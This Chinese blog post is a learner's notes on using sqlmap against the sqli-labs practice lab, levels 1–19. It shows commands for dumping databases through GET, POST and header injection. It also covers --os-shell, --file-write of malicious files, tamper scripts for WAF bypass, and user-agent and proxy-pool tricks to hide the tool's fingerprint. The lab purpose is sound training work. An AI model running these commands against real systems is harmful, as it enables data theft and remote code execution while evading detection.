当前位置: 首页 > article >正文

sqlmap学习,打靶sqli-labs.(1-19)

前言:用于学习sqlmap的简单使用,使用sqli-labs靶场进行测试。

当然,在实战中,考虑的更多,例如如何隐藏自己(特征码),编码加解密、sqlmap抓包调试分析等...

不过那些都是后话,太遥远...基础NO.1!!

先贴上我的sqlmap笔记。

# SQLMAP的使用。--->MYSQL

# 1.判断注入点 
python .\sqlmap.py -u "目标" [会自行判断]

# 2.爆库 python .\sqlmap -u "目标" --current-db
[一般来讲不用tables--->因为会获取所以的database,而用--current-db获取当前数据库]

# 3.爆表  python .\sqlmap -u "目标" --tables -D "库名" 
[tables获取所有当前库的表]


# 4.爆破字段 python .\sqlmap -u "目标" --columns -T "表名" --tables -D "库名"
[同理,获取当前所有字段]

# 5.爆出数据  python .\sqlmap -u "目标" --dump -C "字段1,字段2" --columns -T "表名" --tables -D "库名"

[结果会保存在"C:\Users\13168\AppData\Local\sqlmap\  对应URL的dump"中]

# 高权限
--is-dba 、# 判断是否是管理员   
[如果是]
--sql-shell [高权限,直接读取。]

[做其他事儿]
--file-write "恶意文件路径" --file-dest "目标文件路径"

--os-cmd=ver # 一次

--os-shell # 交互



# 提交方法 
# GET
[GET就是上面的那种]


# POST python .\sqlmap -u "目标" --data "POST表单数据(可以通过抓包查看,浏览器负载中可见POST)"
[POST需要额外需要data,其他一样]

# cookie  --cookie ""

##### 文件头注入(标头注入) python .\sqlmap -r .\数据包.txt ————##小迪推荐## 原因: ![alt text](image-7.png)
:避免不能访问而导致的无效注入

[复制请求标头,bp抓你自己发送的包 - - ]
在注入点后面加上*,把 数据包.txt 保存在sqlmap的目录并使用参数进行注入.[不加*会默认全是注入点...]


# 绕过模块 - tamper脚本-使用&开发
因为sqlmap不会识别编码加解密问题 所以需要进行"告知"
sqlmap data模块 是关于payload以及exp设置

tamper 自带的有一些编码加解密  
https://www.cnblogs.com/bmjoker/p/9326258.html --tamper参数参考 

 python .\sqlmap -u "目标" --tamper=base64encode.py[tamper目录自带的,仅复制名字就可以]

# 过滤代码 (PHP) 防止一些SQL注入 
[若攻击者知道你的过滤思路,且能利用缺陷,那么借助tamper(可以自己CV复制模板针对性编写)]
WAF:
![alt text](image-8.png) 
payload:
![alt text](image-9.png)
难点:测试黑盒环境中,提取有用信息,而不是难的写脚本.

拓展引用:

--batch  # 自动最优选择Y/N/Q
--thread # 1-10指定线程
-v  #详细的等级(0-6) 小迪说一般用的最多是的 4 方法: -v 4 [配合tamper,能够分析是否注入、有没有生效、进行调试,判断是哪儿出现问题]
    0:只显示Python的回溯,错误和关键消息。 
    1:显示信息和警告消息。 
    2:显示调试消息。 
    3:有效载荷注入。 
    4:显示HTTP请求。 
    5:显示HTTP响应头。 
    6:显示HTTP响应页面的内容 

sqlmap最典型的特征: sqlmap/版本号#dev (https://sqlmap.org) ----特征码[蓝队防守思路]

突破指纹识别: 
--user-agent "自定义UA头内容" # 自定义UA头 
--random-agent # 随机user-agent
--time-sec=(2,5) # 延迟响应,默认为5

#####等级

--level=(1-5) # 要执行的测试水平等级,默认为1 测试的深度,=2测试cookie等 >=3 ua、referer... 

--risk=(0-3) # 测试执行的风险等级,默认为1
[level和risk,自己选,都可以选择]
[level-x(x为1-5)当为2时会对头部的cookie进行扫描注入尝试,x>=3时对user-Agent,ip,referer参数进行扫描]
[risk-x,(x为1-3)1时进行大部分扫描,2会增加基于事件的测试语句,3会增加or语句的sql注入]

###意义:[测试数据包全部数据,因为存在隐藏参数.但是测试时间会更长]


代理注入: 一般配合bp抓包,时时进行观察
--proxy "http://xx:xx" # 代理注入
--proxy "http://127.0.0.1:8080"

[代理池,思路同上,]--小迪推荐 快代理[网站名]-->隧道代理。

Less-1~9

GET型

通杀:

 python .\sqlmap.py -u "http://192.168.117.131:8081/Less-9/?id=1" --batch --dbs

第10关

需要增加测试等级深度 --level=2(2往上走)

 python .\sqlmap.py -u "http://192.168.117.131:8081/Less-10/?id=1" --batch --dbs --level=3

Less11~15

通杀:

一、 POST参数注入
python .\sqlmap.py -u "http://192.168.117.131:8081/Less-15/" --data "uname=1&passwd=1&submit=Submit" --batch --dbs
二、标头注入
 python .\sqlmap.py -r 1.txt --batch --dbs

POST类型

一般会使用 --data(不过更推荐 -r 标头注入.txt        原因-:数据完整性?) 

 ① --data : POST参数注入

 python .\sqlmap.py -u "http://192.168.117.131:8081/Less-11/"  --data "uname=1&passwd=1&submit=Submit" --batch --dbs

标头注入:(标头注入 || 数据包注入 [浏览器或bp获取标头or数据包])

①通过浏览器获取表单

F12---->网络


 

1.txt内容如下:(1.txt在sqlmap的目录下)

②复制bp抓包的数据:(标头注入更推荐bp)

。。。。其他操作与①一样.

less16~17

深度设为 --level=2往上走就可以了。[建议 --thread 多线程一起跑,太慢了....]

推荐使用标头注入(数据包完整)

 python .\sqlmap.py -r .\1.txt --batch --dbs --level=2

less18等级设为 3 

less19:(refer注入,不知道不设*也可注入成功.)

 python .\sqlmap.py -r .\1.txt --batch --dbs --level=3

less20:

(待补!卡住了)


http://www.kler.cn/a/414909.html

相关文章:

  • PyCharm中Python项目打包并运行到服务器的简明指南
  • (微信小程序)基于Spring Boot的校园失物招领平台的设计与实现(vue3+uniapp+mysql)
  • 鼠标前进后退键改双击,键盘映射(AutoHotkey)
  • 【MySQL篇】持久化和非持久化统计信息的深度剖析(第一篇,总共六篇)
  • Wireshark抓取HTTPS流量技巧
  • 【C++】vector的使用
  • django实现paypal订阅记录
  • HTML 霓虹灯开关效果
  • AI工程师学习路线图
  • 设置ip和代理DNS的WindowsBat脚本怎么写?
  • Jenkins 忘记登录密码
  • Mouser EDI 需求分析
  • 网络安全之——DNS欺骗实验
  • 适配器模式(一种设计模式)
  • 【基础】jsonpath
  • 【iOS】知乎日报总结
  • RSTP与MSTP实验
  • 裸金属服务器和专属主机的区别是什么?
  • Android so库的编译
  • 快速排序hoare版本和挖坑法(代码注释版)
  • IPVS与Keepalived
  • 【模电】整流稳压电源
  • Springboot 读取 resource 目录下的Excel文件并下载
  • 【innodb阅读笔记】之 表空间文件、重做日志文件
  • 网络安全拟态防御技术
  • 【计算机网络安全】信息收集扫描